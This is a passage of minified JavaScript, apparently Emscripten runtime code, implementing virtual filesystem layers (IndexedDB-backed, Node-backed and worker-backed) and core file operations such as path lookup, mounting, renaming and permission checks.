if (2 & a || l.buffer !== r && l.buffer !== r.buffer) {
if ((o > 0 || o + n < e.node.usedBytes) && (l = l.subarray ? l.subarray(o, o + n) : Array.prototype.slice.call(l, o, o + n)), u = !0, !(s = _malloc(n))) throw new FS.ErrnoError(ERRNO_CODES.ENOMEM);
r.set(l, s)
} else u = !1, s = l.byteOffset;
return {
ptr: s,
allocated: u
}
},
msync: function(e, r, t, n, o) {
if (!FS.isFile(e.node.mode)) throw new FS.ErrnoError(ERRNO_CODES.ENODEV);
if (2 & o) return 0;
MEMFS.stream_ops.write(e, r, 0, n, t, !1);
return 0
}
}
}, IDBFS = {
dbs: {},
indexedDB: function() {
if ("undefined" != typeof indexedDB) return indexedDB;
var e = null;
return "object" == typeof window && (e = window.indexedDB || window.mozIndexedDB || window.webkitIndexedDB || window.msIndexedDB), assert(e, "IDBFS used, but indexedDB not supported"), e
},
DB_VERSION: 21,
DB_STORE_NAME: "FILE_DATA",
mount: function(e) {
return MEMFS.mount.apply(null, arguments)
},
syncfs: function(e, r, t) {
IDBFS.getLocalSet(e, function(n, o) {
if (n) return t(n);
IDBFS.getRemoteSet(e, function(e, n) {
if (e) return t(e);
var i = r ? n : o,
a = r ? o : n;
IDBFS.reconcile(i, a, t)
})
})
},
getDB: function(e, r) {
var t = IDBFS.dbs[e];
if (t) return r(null, t);
var n;
try {
n = IDBFS.indexedDB().open(e, IDBFS.DB_VERSION)
} catch (e) {
return r(e)
}
if (!n) return r("Unable to connect to IndexedDB");
n.onupgradeneeded = function(e) {
var r, t = e.target.result,
n = e.target.transaction;
(r = t.objectStoreNames.contains(IDBFS.DB_STORE_NAME) ? n.objectStore(IDBFS.DB_STORE_NAME) : t.createObjectStore(IDBFS.DB_STORE_NAME)).indexNames.contains("timestamp") || r.createIndex("timestamp", "timestamp", {
unique: !1
})
}, n.onsuccess = function() {
t = n.result, IDBFS.dbs[e] = t, r(null, t)
}, n.onerror = function(e) {
r(this.error), e.preventDefault()
}
},
getLocalSet: function(e, r) {
function t(e) {
return "." !== e && ".." !== e
}
function n(e) {
return function(r) {
return PATH.join2(e, r)
}
}
for (var o = {}, i = FS.readdir(e.mountpoint).filter(t).map(n(e.mountpoint)); i.length;) {
var a, s = i.pop();
try {
a = FS.stat(s)
} catch (e) {
return r(e)
}
FS.isDir(a.mode) && i.push.apply(i, FS.readdir(s).filter(t).map(n(s))), o[s] = {
timestamp: a.mtime
}
}
return r(null, {
type: "local",
entries: o
})
},
getRemoteSet: function(e, r) {
var t = {};
IDBFS.getDB(e.mountpoint, function(e, n) {
if (e) return r(e);
var o = n.transaction([IDBFS.DB_STORE_NAME], "readonly");
o.onerror = function(e) {
r(this.error), e.preventDefault()
};
o.objectStore(IDBFS.DB_STORE_NAME).index("timestamp").openKeyCursor().onsuccess = function(e) {
var o = e.target.result;
if (!o) return r(null, {
type: "remote",
db: n,
entries: t
});
t[o.primaryKey] = {
timestamp: o.key
}, o.continue()
}
})
},
loadLocalEntry: function(e, r) {
var t, n;
try {
n = FS.lookupPath(e).node, t = FS.stat(e)
} catch (e) {
return r(e)
}
return FS.isDir(t.mode) ? r(null, {
timestamp: t.mtime,
mode: t.mode
}) : FS.isFile(t.mode) ? (n.contents = MEMFS.getFileDataAsTypedArray(n), r(null, {
timestamp: t.mtime,
mode: t.mode,
contents: n.contents
})) : r(new Error("node type not supported"))
},
storeLocalEntry: function(e, r, t) {
try {
if (FS.isDir(r.mode)) FS.mkdir(e, r.mode);
else {
if (!FS.isFile(r.mode)) return t(new Error("node type not supported"));
FS.writeFile(e, r.contents, {
encoding: "binary",
canOwn: !0
})
}
FS.chmod(e, r.mode), FS.utime(e, r.timestamp, r.timestamp)
} catch (e) {
return t(e)
}
t(null)
},
removeLocalEntry: function(e, r) {
try {
FS.lookupPath(e);
var t = FS.stat(e);
FS.isDir(t.mode) ? FS.rmdir(e) : FS.isFile(t.mode) && FS.unlink(e)
} catch (e) {
return r(e)
}
r(null)
},
loadRemoteEntry: function(e, r, t) {
var n = e.get(r);
n.onsuccess = function(e) {
t(null, e.target.result)
}, n.onerror = function(e) {
t(this.error), e.preventDefault()
}
},
storeRemoteEntry: function(e, r, t, n) {
var o = e.put(t, r);
o.onsuccess = function() {
n(null)
}, o.onerror = function(e) {
n(this.error), e.preventDefault()
}
},
removeRemoteEntry: function(e, r, t) {
var n = e.delete(r);
n.onsuccess = function() {
t(null)
}, n.onerror = function(e) {
t(this.error), e.preventDefault()
}
},
reconcile: function(e, r, t) {
function n(e) {
if (e) {
if (!n.errored) return n.errored = !0, t(e)
} else if (++s >= o) return t(null)
}
var o = 0,
i = [];
Object.keys(e.entries).forEach(function(t) {
var n = e.entries[t],
a = r.entries[t];
(!a || n.timestamp > a.timestamp) && (i.push(t), o++)
});
var a = [];
if (Object.keys(r.entries).forEach(function(t) {
r.entries[t];
e.entries[t] || (a.push(t), o++)
}), !o) return t(null);
var s = 0,
u = ("remote" === e.type ? e.db : r.db).transaction([IDBFS.DB_STORE_NAME], "readwrite"),
l = u.objectStore(IDBFS.DB_STORE_NAME);
u.onerror = function(e) {
n(this.error), e.preventDefault()
}, i.sort().forEach(function(e) {
"local" === r.type ? IDBFS.loadRemoteEntry(l, e, function(r, t) {
if (r) return n(r);
IDBFS.storeLocalEntry(e, t, n)
}) : IDBFS.loadLocalEntry(e, function(r, t) {
if (r) return n(r);
IDBFS.storeRemoteEntry(l, e, t, n)
})
}), a.sort().reverse().forEach(function(e) {
"local" === r.type ? IDBFS.removeLocalEntry(e, n) : IDBFS.removeRemoteEntry(l, e, n)
})
}
}, NODEFS = {
isWindows: !1,
staticInit: function() {
NODEFS.isWindows = !!process.platform.match(/^win/)
},
mount: function(e) {
return assert(ENVIRONMENT_IS_NODE), NODEFS.createNode(null, "/", NODEFS.getMode(e.opts.root), 0)
},
createNode: function(e, r, t, n) {
if (!FS.isDir(t) && !FS.isFile(t) && !FS.isLink(t)) throw new FS.ErrnoError(ERRNO_CODES.EINVAL);
var o = FS.createNode(e, r, t);
return o.node_ops = NODEFS.node_ops, o.stream_ops = NODEFS.stream_ops, o
},
getMode: function(e) {
var r;
try {
r = fs.lstatSync(e), NODEFS.isWindows && (r.mode = r.mode | (146 & r.mode) >> 1)
} catch (e) {
if (!e.code) throw e;
throw new FS.ErrnoError(ERRNO_CODES[e.code])
}
return r.mode
},
realPath: function(e) {
for (var r = []; e.parent !== e;) r.push(e.name), e = e.parent;
return r.push(e.mount.opts.root), r.reverse(), PATH.join.apply(null, r)
},
flagsToPermissionStringMap: {
0: "r",
1: "r+",
2: "r+",
64: "r",
65: "r+",
66: "r+",
129: "rx+",
193: "rx+",
514: "w+",
577: "w",
578: "w+",
705: "wx",
706: "wx+",
1024: "a",
1025: "a",
1026: "a+",
1089: "a",
1090: "a+",
1153: "ax",
1154: "ax+",
1217: "ax",
1218: "ax+",
4096: "rs",
4098: "rs+"
},
flagsToPermissionString: function(e) {
if (e &= -2097153, e &= -2049, e &= -32769, (e &= -524289) in NODEFS.flagsToPermissionStringMap) return NODEFS.flagsToPermissionStringMap[e];
throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
},
node_ops: {
getattr: function(e) {
var r, t = NODEFS.realPath(e);
try {
r = fs.lstatSync(t)
} catch (e) {
if (!e.code) throw e;
throw new FS.ErrnoError(ERRNO_CODES[e.code])
}
return NODEFS.isWindows && !r.blksize && (r.blksize = 4096), NODEFS.isWindows && !r.blocks && (r.blocks = (r.size + r.blksize - 1) / r.blksize | 0), {
dev: r.dev,
ino: r.ino,
mode: r.mode,
nlink: r.nlink,
uid: r.uid,
gid: r.gid,
rdev: r.rdev,
size: r.size,
atime: r.atime,
mtime: r.mtime,
ctime: r.ctime,
blksize: r.blksize,
blocks: r.blocks
}
},
setattr: function(e, r) {
var t = NODEFS.realPath(e);
try {
if (void 0 !== r.mode && (fs.chmodSync(t, r.mode), e.mode = r.mode), void 0 !== r.timestamp) {
var n = new Date(r.timestamp);
fs.utimesSync(t, n, n)
}
void 0 !== r.size && fs.truncateSync(t, r.size)
} catch (e) {
if (!e.code) throw e;
throw new FS.ErrnoError(ERRNO_CODES[e.code])
}
},
lookup: function(e, r) {
var t = PATH.join2(NODEFS.realPath(e), r),
n = NODEFS.getMode(t);
return NODEFS.createNode(e, r, n)
},
mknod: function(e, r, t, n) {
var o = NODEFS.createNode(e, r, t, n),
i = NODEFS.realPath(o);
try {
FS.isDir(o.mode) ? fs.mkdirSync(i, o.mode) : fs.writeFileSync(i, "", {
mode: o.mode
})
} catch (e) {
if (!e.code) throw e;
throw new FS.ErrnoError(ERRNO_CODES[e.code])
}
return o
},
rename: function(e, r, t) {
var n = NODEFS.realPath(e),
o = PATH.join2(NODEFS.realPath(r), t);
try {
fs.renameSync(n, o)
} catch (e) {
if (!e.code) throw e;
throw new FS.ErrnoError(ERRNO_CODES[e.code])
}
},
unlink: function(e, r) {
var t = PATH.join2(NODEFS.realPath(e), r);
try {
fs.unlinkSync(t)
} catch (e) {
if (!e.code) throw e;
throw new FS.ErrnoError(ERRNO_CODES[e.code])
}
},
rmdir: function(e, r) {
var t = PATH.join2(NODEFS.realPath(e), r);
try {
fs.rmdirSync(t)
} catch (e) {
if (!e.code) throw e;
throw new FS.ErrnoError(ERRNO_CODES[e.code])
}
},
readdir: function(e) {
var r = NODEFS.realPath(e);
try {
return fs.readdirSync(r)
} catch (e) {
if (!e.code) throw e;
throw new FS.ErrnoError(ERRNO_CODES[e.code])
}
},
symlink: function(e, r, t) {
var n = PATH.join2(NODEFS.realPath(e), r);
try {
fs.symlinkSync(t, n)
} catch (e) {
if (!e.code) throw e;
throw new FS.ErrnoError(ERRNO_CODES[e.code])
}
},
readlink: function(e) {
var r = NODEFS.realPath(e);
try {
return r = fs.readlinkSync(r), r = NODEJS_PATH.relative(NODEJS_PATH.resolve(e.mount.opts.root), r)
} catch (e) {
if (!e.code) throw e;
throw new FS.ErrnoError(ERRNO_CODES[e.code])
}
}
},
stream_ops: {
open: function(e) {
var r = NODEFS.realPath(e.node);
try {
FS.isFile(e.node.mode) && (e.nfd = fs.openSync(r, NODEFS.flagsToPermissionString(e.flags)))
} catch (e) {
if (!e.code) throw e;
throw new FS.ErrnoError(ERRNO_CODES[e.code])
}
},
close: function(e) {
try {
FS.isFile(e.node.mode) && e.nfd && fs.closeSync(e.nfd)
} catch (e) {
if (!e.code) throw e;
throw new FS.ErrnoError(ERRNO_CODES[e.code])
}
},
read: function(e, r, t, n, o) {
if (0 === n) return 0;
var i, a = new Buffer(n);
try {
i = fs.readSync(e.nfd, a, 0, n, o)
} catch (e) {
throw new FS.ErrnoError(ERRNO_CODES[e.code])
}
if (i > 0)
for (var s = 0; s < i; s++) r[t + s] = a[s];
return i
},
write: function(e, r, t, n, o) {
var i, a = new Buffer(r.subarray(t, t + n));
try {
i = fs.writeSync(e.nfd, a, 0, n, o)
} catch (e) {
throw new FS.ErrnoError(ERRNO_CODES[e.code])
}
return i
},
llseek: function(e, r, t) {
var n = r;
if (1 === t) n += e.position;
else if (2 === t && FS.isFile(e.node.mode)) try {
n += fs.fstatSync(e.nfd).size
} catch (e) {
throw new FS.ErrnoError(ERRNO_CODES[e.code])
}
if (n < 0) throw new FS.ErrnoError(ERRNO_CODES.EINVAL);
return n
}
}
}, WORKERFS = {
DIR_MODE: 16895,
FILE_MODE: 33279,
reader: null,
mount: function(e) {
function r(e) {
for (var r = e.split("/"), t = n, i = 0; i < r.length - 1; i++) {
var a = r.slice(0, i + 1).join("/");
o[a] || (o[a] = WORKERFS.createNode(t, r[i], WORKERFS.DIR_MODE, 0)), t = o[a]
}
return t
}
function t(e) {
var r = e.split("/");
return r[r.length - 1]
}
assert(ENVIRONMENT_IS_WORKER), WORKERFS.reader || (WORKERFS.reader = new FileReaderSync);
var n = WORKERFS.createNode(null, "/", WORKERFS.DIR_MODE, 0),
o = {};
return Array.prototype.forEach.call(e.opts.files || [], function(e) {
WORKERFS.createNode(r(e.name), t(e.name), WORKERFS.FILE_MODE, 0, e, e.lastModifiedDate)
}), (e.opts.blobs || []).forEach(function(e) {
WORKERFS.createNode(r(e.name), t(e.name), WORKERFS.FILE_MODE, 0, e.data)
}), (e.opts.packages || []).forEach(function(e) {
e.metadata.files.forEach(function(n) {
var o = n.filename.substr(1);
WORKERFS.createNode(r(o), t(o), WORKERFS.FILE_MODE, 0, e.blob.slice(n.start, n.end))
})
}), n
},
createNode: function(e, r, t, n, o, i) {
var a = FS.createNode(e, r, t);
return a.mode = t, a.node_ops = WORKERFS.node_ops, a.stream_ops = WORKERFS.stream_ops, a.timestamp = (i || new Date).getTime(), assert(WORKERFS.FILE_MODE !== WORKERFS.DIR_MODE), t === WORKERFS.FILE_MODE ? (a.size = o.size, a.contents = o) : (a.size = 4096, a.contents = {}), e && (e.contents[r] = a), a
},
node_ops: {
getattr: function(e) {
return {
dev: 1,
ino: void 0,
mode: e.mode,
nlink: 1,
uid: 0,
gid: 0,
rdev: void 0,
size: e.size,
atime: new Date(e.timestamp),
mtime: new Date(e.timestamp),
ctime: new Date(e.timestamp),
blksize: 4096,
blocks: Math.ceil(e.size / 4096)
}
},
setattr: function(e, r) {
void 0 !== r.mode && (e.mode = r.mode), void 0 !== r.timestamp && (e.timestamp = r.timestamp)
},
lookup: function(e, r) {
throw new FS.ErrnoError(ERRNO_CODES.ENOENT)
},
mknod: function(e, r, t, n) {
throw new FS.ErrnoError(ERRNO_CODES.EPERM)
},
rename: function(e, r, t) {
throw new FS.ErrnoError(ERRNO_CODES.EPERM)
},
unlink: function(e, r) {
throw new FS.ErrnoError(ERRNO_CODES.EPERM)
},
rmdir: function(e, r) {
throw new FS.ErrnoError(ERRNO_CODES.EPERM)
},
readdir: function(e) {
var r = [".", ".."];
for (var t in e.contents) e.contents.hasOwnProperty(t) && r.push(t);
return r
},
symlink: function(e, r, t) {
throw new FS.ErrnoError(ERRNO_CODES.EPERM)
},
readlink: function(e) {
throw new FS.ErrnoError(ERRNO_CODES.EPERM)
}
},
stream_ops: {
read: function(e, r, t, n, o) {
if (o >= e.node.size) return 0;
var i = e.node.contents.slice(o, o + n),
a = WORKERFS.reader.readAsArrayBuffer(i);
return r.set(new Uint8Array(a), t), i.size
},
write: function(e, r, t, n, o) {
throw new FS.ErrnoError(ERRNO_CODES.EIO)
},
llseek: function(e, r, t) {
var n = r;
if (1 === t ? n += e.position : 2 === t && FS.isFile(e.node.mode) && (n += e.node.size), n < 0) throw new FS.ErrnoError(ERRNO_CODES.EINVAL);
return n
}
}
}; STATICTOP += 16, STATICTOP += 16, STATICTOP += 16;
var FS = {
root: null,
mounts: [],
devices: [null],
streams: [],
nextInode: 1,
nameTable: null,
currentPath: "/",
initialized: !1,
ignorePermissions: !0,
trackingDelegate: {},
tracking: {
openFlags: {
READ: 1,
WRITE: 2
}
},
ErrnoError: null,
genericErrors: {},
filesystems: null,
syncFSRequests: 0,
handleFSError: function(e) {
if (!(e instanceof FS.ErrnoError)) throw e + " : " + stackTrace();
return ___setErrNo(e.errno)
},
lookupPath: function(e, r) {
if (e = PATH.resolve(FS.cwd(), e), r = r || {}, !e) return {
path: "",
node: null
};
var t = {
follow_mount: !0,
recurse_count: 0
};
for (var n in t) void 0 === r[n] && (r[n] = t[n]);
if (r.recurse_count > 8) throw new FS.ErrnoError(ERRNO_CODES.ELOOP);
for (var o = PATH.normalizeArray(e.split("/").filter(function(e) {
return !!e
}), !1), i = FS.root, a = "/", s = 0; s < o.length; s++) {
var u = s === o.length - 1;
if (u && r.parent) break;
if (i = FS.lookupNode(i, o[s]), a = PATH.join2(a, o[s]), FS.isMountpoint(i) && (!u || u && r.follow_mount) && (i = i.mounted.root), !u || r.follow)
for (var l = 0; FS.isLink(i.mode);) {
var c = FS.readlink(a);
a = PATH.resolve(PATH.dirname(a), c);
if (i = FS.lookupPath(a, {
recurse_count: r.recurse_count
}).node, l++ > 40) throw new FS.ErrnoError(ERRNO_CODES.ELOOP)
}
}
return {
path: a,
node: i
}
},
getPath: function(e) {
for (var r;;) {
if (FS.isRoot(e)) {
var t = e.mount.mountpoint;
return r ? "/" !== t[t.length - 1] ? t + "/" + r : t + r : t
}
r = r ? e.name + "/" + r : e.name, e = e.parent
}
},
hashName: function(e, r) {
for (var t = 0, n = 0; n < r.length; n++) t = (t << 5) - t + r.charCodeAt(n) | 0;
return (e + t >>> 0) % FS.nameTable.length
},
hashAddNode: function(e) {
var r = FS.hashName(e.parent.id, e.name);
e.name_next = FS.nameTable[r], FS.nameTable[r] = e
},
hashRemoveNode: function(e) {
var r = FS.hashName(e.parent.id, e.name);
if (FS.nameTable[r] === e) FS.nameTable[r] = e.name_next;
else
for (var t = FS.nameTable[r]; t;) {
if (t.name_next === e) {
t.name_next = e.name_next;
break
}
t = t.name_next
}
},
lookupNode: function(e, r) {
var t = FS.mayLookup(e);
if (t) throw new FS.ErrnoError(t, e);
for (var n = FS.hashName(e.id, r), o = FS.nameTable[n]; o; o = o.name_next) {
var i = o.name;
if (o.parent.id === e.id && i === r) return o
}
return FS.lookup(e, r)
},
createNode: function(e, r, t, n) {
if (!FS.FSNode) {
FS.FSNode = function(e, r, t, n) {
e || (e = this), this.parent = e, this.mount = e.mount, this.mounted = null, this.id = FS.nextInode++, this.name = r, this.mode = t, this.node_ops = {}, this.stream_ops = {}, this.rdev = n
}, FS.FSNode.prototype = {};
Object.defineProperties(FS.FSNode.prototype, {
read: {
get: function() {
return 365 == (365 & this.mode)
},
set: function(e) {
e ? this.mode |= 365 : this.mode &= -366
}
},
write: {
get: function() {
return 146 == (146 & this.mode)
},
set: function(e) {
e ? this.mode |= 146 : this.mode &= -147
}
},
isFolder: {
get: function() {
return FS.isDir(this.mode)
}
},
isDevice: {
get: function() {
return FS.isChrdev(this.mode)
}
}
})
}
var o = new FS.FSNode(e, r, t, n);
return FS.hashAddNode(o), o
},
destroyNode: function(e) {
FS.hashRemoveNode(e)
},
isRoot: function(e) {
return e === e.parent
},
isMountpoint: function(e) {
return !!e.mounted
},
isFile: function(e) {
return 32768 == (61440 & e)
},
isDir: function(e) {
return 16384 == (61440 & e)
},
isLink: function(e) {
return 40960 == (61440 & e)
},
isChrdev: function(e) {
return 8192 == (61440 & e)
},
isBlkdev: function(e) {
return 24576 == (61440 & e)
},
isFIFO: function(e) {
return 4096 == (61440 & e)
},
isSocket: function(e) {
return 49152 == (49152 & e)
},
flagModes: {
r: 0,
rs: 1052672,
"r+": 2,
w: 577,
wx: 705,
xw: 705,
"w+": 578,
"wx+": 706,
"xw+": 706,
a: 1089,
ax: 1217,
xa: 1217,
"a+": 1090,
"ax+": 1218,
"xa+": 1218
},
modeStringToFlags: function(e) {
var r = FS.flagModes[e];
if (void 0 === r) throw new Error("Unknown file open mode: " + e);
return r
},
flagsToPermissionString: function(e) {
var r = ["r", "w", "rw"][3 & e];
return 512 & e && (r += "w"), r
},
nodePermissions: function(e, r) {
return FS.ignorePermissions ? 0 : (-1 === r.indexOf("r") || 292 & e.mode) && (-1 === r.indexOf("w") || 146 & e.mode) && (-1 === r.indexOf("x") || 73 & e.mode) ? 0 : ERRNO_CODES.EACCES
},
mayLookup: function(e) {
var r = FS.nodePermissions(e, "x");
return r || (e.node_ops.lookup ? 0 : ERRNO_CODES.EACCES)
},
mayCreate: function(e, r) {
try {
FS.lookupNode(e, r);
return ERRNO_CODES.EEXIST
} catch (e) {}
return FS.nodePermissions(e, "wx")
},
mayDelete: function(e, r, t) {
var n;
try {
n = FS.lookupNode(e, r)
} catch (e) {
return e.errno
}
var o = FS.nodePermissions(e, "wx");
if (o) return o;
if (t) {
if (!FS.isDir(n.mode)) return ERRNO_CODES.ENOTDIR;
if (FS.isRoot(n) || FS.getPath(n) === FS.cwd()) return ERRNO_CODES.EBUSY
} else if (FS.isDir(n.mode)) return ERRNO_CODES.EISDIR;
return 0
},
mayOpen: function(e, r) {
return e ? FS.isLink(e.mode) ? ERRNO_CODES.ELOOP : FS.isDir(e.mode) && ("r" !== FS.flagsToPermissionString(r) || 512 & r) ? ERRNO_CODES.EISDIR : FS.nodePermissions(e, FS.flagsToPermissionString(r)) : ERRNO_CODES.ENOENT
},
MAX_OPEN_FDS: 4096,
nextfd: function(e, r) {
e = e || 0, r = r || FS.MAX_OPEN_FDS;
for (var t = e; t <= r; t++)
if (!FS.streams[t]) return t;
throw new FS.ErrnoError(ERRNO_CODES.EMFILE)
},
getStream: function(e) {
return FS.streams[e]
},
createStream: function(e, r, t) {
FS.FSStream || (FS.FSStream = function() {}, FS.FSStream.prototype = {}, Object.defineProperties(FS.FSStream.prototype, {
object: {
get: function() {
return this.node
},
set: function(e) {
this.node = e
}
},
isRead: {
get: function() {
return 1 != (2097155 & this.flags)
}
},
isWrite: {
get: function() {
return 0 != (2097155 & this.flags)
}
},
isAppend: {
get: function() {
return 1024 & this.flags
}
}
}));
var n = new FS.FSStream;
for (var o in e) n[o] = e[o];
e = n;
var i = FS.nextfd(r, t);
return e.fd = i, FS.streams[i] = e, e
},
closeStream: function(e) {
FS.streams[e] = null
},
chrdev_stream_ops: {
open: function(e) {
var r = FS.getDevice(e.node.rdev);
e.stream_ops = r.stream_ops, e.stream_ops.open && e.stream_ops.open(e)
},
llseek: function() {
throw new FS.ErrnoError(ERRNO_CODES.ESPIPE)
}
},
major: function(e) {
return e >> 8
},
minor: function(e) {
return 255 & e
},
makedev: function(e, r) {
return e << 8 | r
},
registerDevice: function(e, r) {
FS.devices[e] = {
stream_ops: r
}
},
getDevice: function(e) {
return FS.devices[e]
},
getMounts: function(e) {
for (var r = [], t = [e]; t.length;) {
var n = t.pop();
r.push(n), t.push.apply(t, n.mounts)
}
return r
},
syncfs: function(e, r) {
function t(e) {
return assert(FS.syncFSRequests > 0), FS.syncFSRequests--, r(e)
}
function n(e) {
if (e) {
if (!n.errored) return n.errored = !0, t(e)
} else ++i >= o.length && t(null)
}
"function" == typeof e && (r = e, e = !1), FS.syncFSRequests++, FS.syncFSRequests > 1 && console.log("warning: " + FS.syncFSRequests + " FS.syncfs operations in flight at once, probably just doing extra work");
var o = FS.getMounts(FS.root.mount),
i = 0;
o.forEach(function(r) {
if (!r.type.syncfs) return n(null);
r.type.syncfs(r, e, n)
})
},
mount: function(e, r, t) {
var n, o = "/" === t,
i = !t;
if (o && FS.root) throw new FS.ErrnoError(ERRNO_CODES.EBUSY);
if (!o && !i) {
var a = FS.lookupPath(t, {
follow_mount: !1
});
if (t = a.path, n = a.node, FS.isMountpoint(n)) throw new FS.ErrnoError(ERRNO_CODES.EBUSY);
if (!FS.isDir(n.mode)) throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR)
}
var s = {
type: e,
opts: r,
mountpoint: t,
mounts: []
},
u = e.mount(s);
return u.mount = s, s.root = u, o ? FS.root = u : n && (n.mounted = s, n.mount && n.mount.mounts.push(s)), u
},
unmount: function(e) {
var r = FS.lookupPath(e, {
follow_mount: !1
});
if (!FS.isMountpoint(r.node)) throw new FS.ErrnoError(ERRNO_CODES.EINVAL);
var t = r.node,
n = t.mounted,
o = FS.getMounts(n);
Object.keys(FS.nameTable).forEach(function(e) {
for (var r = FS.nameTable[e]; r;) {
var t = r.name_next; - 1 !== o.indexOf(r.mount) && FS.destroyNode(r), r = t
}
}), t.mounted = null;
var i = t.mount.mounts.indexOf(n);
assert(-1 !== i), t.mount.mounts.splice(i, 1)
},
lookup: function(e, r) {
return e.node_ops.lookup(e, r)
},
mknod: function(e, r, t) {
var n = FS.lookupPath(e, {
parent: !0
}).node,
o = PATH.basename(e);
if (!o || "." === o || ".." === o) throw new FS.ErrnoError(ERRNO_CODES.EINVAL);
var i = FS.mayCreate(n, o);
if (i) throw new FS.ErrnoError(i);
if (!n.node_ops.mknod) throw new FS.ErrnoError(ERRNO_CODES.EPERM);
return n.node_ops.mknod(n, o, r, t)
},
create: function(e, r) {
return r = void 0 !== r ? r : 438, r &= 4095, r |= 32768, FS.mknod(e, r, 0)
},
mkdir: function(e, r) {
return r = void 0 !== r ? r : 511, r &= 1023, r |= 16384, FS.mknod(e, r, 0)
},
mkdirTree: function(e, r) {
for (var t = e.split("/"), n = "", o = 0; o < t.length; ++o)
if (t[o]) {
n += "/" + t[o];
try {
FS.mkdir(n, r)
} catch (e) {
if (e.errno != ERRNO_CODES.EEXIST) throw e
}
}
},
mkdev: function(e, r, t) {
return void 0 === t && (t = r, r = 438), r |= 8192, FS.mknod(e, r, t)
},
symlink: function(e, r) {
if (!PATH.resolve(e)) throw new FS.ErrnoError(ERRNO_CODES.ENOENT);
var t = FS.lookupPath(r, {
parent: !0
}).node;
if (!t) throw new FS.ErrnoError(ERRNO_CODES.ENOENT);
var n = PATH.basename(r),
o = FS.mayCreate(t, n);
if (o) throw new FS.ErrnoError(o);
if (!t.node_ops.symlink) throw new FS.ErrnoError(ERRNO_CODES.EPERM);
return t.node_ops.symlink(t, n, e)
},
rename: function(e, r) {
var t, n, o = PATH.dirname(e),
i = PATH.dirname(r),
a = PATH.basename(e),
s = PATH.basename(r);
try {
t = FS.lookupPath(e, {
parent: !0
}).node, n = FS.lookupPath(r, {
parent: !0
}).node
} catch (e) {
throw new FS.ErrnoError(ERRNO_CODES.EBUSY)
}
if (!t || !n) throw new FS.ErrnoError(ERRNO_CODES.ENOENT);
if (t.mount !== n.mount) throw new FS.ErrnoError(ERRNO_CODES.EXDEV);
var u = FS.lookupNode(t, a),
l = PATH.relative(e, i);
if ("." !== l.charAt(0)) throw new FS.ErrnoError(ERRNO_CODES.EINVAL);
if ("." !== (l = PATH.relative(r, o)).charAt(0)) throw new FS.ErrnoError(ERRNO_CODES.ENOTEMPTY);
var c;
try {
c = FS.lookupNode(n, s)
} catch (e) {}
if (u !== c) {
var d = FS.isDir(u.mode),
E = FS.mayDelete(t, a, d);
if (E) throw new FS.ErrnoError(E);
if (E = c ? FS.mayDelete(n, s, d) : FS.mayCreate(n, s)) throw new FS.ErrnoError(E);
if (!t.node_ops.rename) throw new FS.ErrnoError(ERRNO_CODES.EPERM);
if (FS.isMountpoint(u) || c && FS.isMountpoint(c)) throw new FS.ErrnoError(ERRNO_CODES.EBUSY);
if (n !== t && (E = FS.nodePermissions(t, "w"))) throw new FS.ErrnoError(E);
try {
FS.trackingDelegate.willMovePath && FS.trackingDelegate.willMovePath(e, r)
} catch (t) {
console.log("FS.trackingDelegate['willMovePath']('" + e + "', '" + r + "') threw an exception: " + t.message)
}
FS.hashRemoveNode(u);
try {
t.node_ops.rename(u, n, s)
} catch (e) {
throw e
} finally {
FS.hashAddNode(u)
}
try {
FS.trackingDelegate.onMovePath && FS.trackingDelegate.onMovePath(e, r)
} catch (t) {
console.log("FS.trackingDelegate['onMovePath']('" + e + "', '" + r + "') threw an exception: " + t.message)
}
}
},
rmdir: function(e) {
var r = FS.lookupPath(e, {
parent: !0
}).node,
t = PATH.basename(e),
n = FS.lookupNode(r, t),
o = FS.mayDelete(r, t, !0);
if (o) throw new FS.ErrnoError(o);
if (!r.node_ops.rmdir) throw new FS.ErrnoError(ERRNO_CODES.EPERM);
if (FS.isMountpoint(n)) throw new FS.ErrnoError(ERRNO_CODES.EBUSY);
try {
FS.trackingDelegate.willDeletePath && FS.trackingDelegate.willDeletePath(e)
} catch (r) {
console.log("FS.trackingDelegate['willDeletePath']('" + e + "') threw an exception: " + r.message)
}
r.node_ops.rmdir(r, t), FS.destroyNode(n);
try {
FS.trackingDelegate.onDeletePath && FS.trackingDelegate.onDeletePath(e)
} catch (r) {
console.log("FS.trackingDelegate['onDeletePath']('" + e + "') threw an exception: " + r.message)
}
},
readdir: function(e) {
var r = FS.lookupPath(e, {
follow: !0
}).node;
if (!r.node_ops.readdir) throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR);
return r.node_ops.readdir(r)
},
unlink: function(e) {
var r = FS.lookupPath(e, {
parent: !0
}).node,
t = PATH.basename(e),
n = FS.lookupNode(r, t),
o = FS.mayDelete(r, t, !1);
if (o) throw new FS.ErrnoError(o);
if (!r.node_ops.unlink) throw new FS.ErrnoError(ERRNO_CODES.EPERM);
if (FS.isMountpoint(n)) throw new FS.ErrnoError(ERRNO_CODES.EBUSY);
try {
FS.trackingDelegate.willDeletePath && FS.trackingDelegate.willDeletePath(e)
} catch (r) {
console.log("FS.trackingDelegate['willDeletePath']('" + e + "') threw an exception: " + r.message)
}
r.node_ops.unlink(r, t), FS.destroyNode(n);
try {
FS.trackingDelegate.onDeletePath && FS.trackingDelegate.onDeletePath(e)
} catch (r) {
console.log("FS.trackingDelegate['onDeletePath']('" + e + "') threw an exception: " + r.message)
}
},
readlink: function(e) {
var r = FS.lookupPath(e).node;
if (!r) throw new FS.ErrnoError(ERRNO_CODES.ENOENT);
if (!r.node_ops.readlink) throw new FS.ErrnoError(ERRNO_CODES.EINVAL);
return PATH.resolve(FS.getPath(r.parent), r.node_ops.readlink(r))
},
stat: function(e, r) {
var t = FS.lookupPath(e, {
follow: !r
}).node;
if (!t) throw new FS.ErrnoError(ERRNO_CODES.ENOENT);
if (!t.node_ops.getattr) throw new FS.ErrnoError(ERRNO_CODES.EPERM);
return t.node_ops.getattr(t)
},
lstat: function(e) {
return FS.stat(e, !0)
},
chmod: function(e, r, t) {
var n;
if ("string" == typeof e) {
n = FS.lookupPath(e, {
follow: !t
}).node
} else n = e;
if (!n.node_ops.setattr) throw new FS.ErrnoError(ERRNO_CODES.EPERM);
n.node_ops.setattr(n, {
mode: 4095 & r | -4096 & n.mode,
timestamp: Date.now()
})
},
lchmod: function(e, r) {
FS.chmod(e, r, !0)
},
fchmod: function(e, r) {
var t = FS.getStream(e);
if (!t) throw new FS.ErrnoError(ERRNO_CODES.EBADF);
FS.chmod(t.node, r)
},
chown: function(e, r, t, n) {
var o;
